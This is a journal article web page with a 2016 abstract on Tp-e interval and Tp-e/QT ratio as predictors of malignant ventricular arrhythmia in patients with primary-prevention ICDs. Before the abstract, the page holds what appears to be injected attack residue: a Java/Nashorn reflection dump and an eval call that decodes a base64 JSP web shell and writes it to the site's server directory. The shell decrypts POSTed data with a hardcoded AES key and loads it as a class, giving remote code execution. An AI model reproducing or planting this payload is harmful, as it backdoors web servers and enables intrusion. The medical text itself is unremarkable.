public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var d=B.getDecoder().decode('PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiAlPgo8JSEKICAgIHByaXZcdTAwNjF0ZSBieXRlW10gRGVjcnlwdChieXRlW10gZFx1MDA2MXRcdTAwNjEpIHRocm93cyBFeGNlcHRpb24KICAgIHsKICAgICAgICBTdHJpbmcgaz0iMGJcdTAwNjE0NDM5ZWU5XHUwMDYxNDZkOWQiOwogICAgICAgIGpcdTAwNjF2XHUwMDYxeC5jcnlwdG8uQ2lwaGVyIGM9alx1MDA2MXZcdTAwNjF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdFx1MDA2MW5jZSgiQUVTL0VDQi9QS0NTNVBcdTAwNjFkZGluZyIpO2MuaW5pdCgyLG5ldyBqXHUwMDYxdlx1MDA2MXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTsKICAgICAgICBieXRlW10gZGVjb2RlYnM7CiAgICAgICAgQ2xcdTAwNjFzcyBiQ2x6IDsKICAgICAgICAgICAgICAgIHRyeXsKICAgICAgICAgICAgICAgICAgICBiQ2x6PUNsXHUwMDYxc3MuZm9yTlx1MDA2MW1lKCJqXHUwMDYxdlx1MDA2MS51dGlsLkJcdTAwNjFzZTY0Iik7CiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IERlY29kZXI9YkNsei5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYkNseiwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgZGVjb2RlYnM9KGJ5dGVbXSkgRGVjb2Rlci5nZXRDbFx1MDA2MXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xcdTAwNjFzc1tde2J5dGVbXS5jbFx1MDA2MXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtkXHUwMDYxdFx1MDA2MX0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY1x1MDA2MXRjaCAoVGhyb3dcdTAwNjFibGUgZSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBiQ2x6ID0gQ2xcdTAwNjFzcy5mb3JOXHUwMDYxbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKICAgICAgICAgICAgICAgICAgICBPYmplY3QgRGVjb2Rlcj1iQ2x6Lm5ld0luc3RcdTAwNjFuY2UoKTsKICAgICAgICAgICAgICAgICAgICBkZWNvZGVicz0oYnl0ZVtdKSBEZWNvZGVyLmdldENsXHUwMDYxc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsbmV3IENsXHUwMDYxc3NbXXtTdHJpbmcuY2xcdTAwNjFzc30pLmludm9rZShEZWNvZGVyLCBuZXcgT2JqZWN0W117bmV3IFN0cmluZyhkXHUwMDYxdFx1MDA2MSl9KTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgcmV0dXJuIGMuZG9GaW5cdTAwNjFsKGRlY29kZWJzKTsKCiAgICB9CiU+CjwlIWNsXHUwMDYxc3MgVSBleHRlbmRzIENsXHUwMDYxc3NMb1x1MDA2MWRlcntVKENsXHUwMDYxc3NMb1x1MDA2MWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsXHUwMDYxc3MgZyhieXRlIFtdYil7cmV0dXJuCiAgICAgICAgc3VwZXIuZGVmaW5lQ2xcdTAwNjFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdVx1MDA2MWxzKCJQT1NUIikpewogICAgICAgICAgICBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtIGJvcyA9IG5ldyBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtKCk7CiAgICAgICAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVs1MTJdOwogICAgICAgICAgICBpbnQgbGVuZ3RoPXJlcXVlc3QuZ2V0SW5wdXRTdHJlXHUwMDYxbSgpLnJlXHUwMDYxZChidWYpOwogICAgICAgICAgICB3aGlsZSAobGVuZ3RoPjApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGJ5dGVbXSBkXHUwMDYxdFx1MDA2MT0gQXJyXHUwMDYxeXMuY29weU9mUlx1MDA2MW5nZShidWYsMCxsZW5ndGgpOwogICAgICAgICAgICAgICAgYm9zLndyaXRlKGRcdTAwNjF0XHUwMDYxKTsKICAgICAgICAgICAgICAgIGxlbmd0aD1yZXF1ZXN0LmdldElucHV0U3RyZVx1MDA2MW0oKS5yZVx1MDA2MWQoYnVmKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQuY2xlXHUwMDYxcigpOwogICAgICAgICAgICBvdXQ9cFx1MDA2MWdlQ29udGV4dC5wdXNoQm9keSgpOwogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xcdTAwNjFzcygpLmdldENsXHUwMDYxc3NMb1x1MDA2MWRlcigpKS5nKERlY3J5cHQoYm9zLnRvQnl0ZUFyclx1MDA2MXkoKSkpLm5ld0luc3RcdTAwNjFuY2UoKS5lcXVcdTAwNjFscyhwXHUwMDYxZ2VDb250ZXh0KTt9CiU+');var o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2016, Vol. 36 ›› Issue (03): 401-.

Previous Articles     Next Articles

Correlation of Tp-e interval and Tp-e/Q-T ratio with malignant ventricular arrhythmia in patients with implantable cardioverter-defibrillator for primary prevention

  

  • Online:2016-03-20 Published:2016-03-20

Abstract: Objective To investigate whether Tpeak-Tend interval (Tp-e) and Tp-e/QT ratio are associated with malignant ventricular arrhythmia in patients with implantable cardioverter-defibrillator (ICD) for primary prevention. Methods A cohort of 68 consecutive patients with chronic heart failure undergoing standard ICD for primary prevention indications (NYHA function class II-III, left ventricular ejection fraction ≤35% , systolic cardiomyopathy without prior malignant ventricular arrhythmia) were enrolled in this study. The patients were followed up for 18-48 months and were divided into high-risk group and low-risk group according to the occurrence of the endpoint events of sudden cardiac death (SCD), ventricular tachycardia (VT), or ventricular fibrillation (VF). Electrocardiographic and echocardiographic characteristics, Tp-e, and Tp-e/ QT ratio were analyzed in all cases before ICD implantation. Results During the follow-up, ICD shock for sustained ventricular tachycardia or ventricular fibrillation occurred in 11 patients; nonsustained ventricular tachycardia (NSVT) that did not require therapy was detected by ICD in 7 patients (high-risk group, 18 cases). ICD did not detect ventricular tachycardia or ventricular fibrillation in 50 patients (low-rsk group). Compared with the low-rsik group, the high-risk group had an increased Tp-e /QT ratio (0.27±0.04 vs 0.22±0.05 P<0.01) and an increased Tp-e (105±15 vs 90±17 ms P<0.01). ROC analysis revealed that a Tp-e/QT ratio ≥0.255 had a sensitivity of 72.2% and a specificity of 65.9%, and a Tp-e ≥103 ms had a sensitivity of 66.7% and a specificity of 67.9% for predicting VT and VF in these patients. Conclusion Increased Tp-e and Tp-e/QT ratio are associated with increased risks of ventricular arrhythmias in patients with ICD for primary prevention.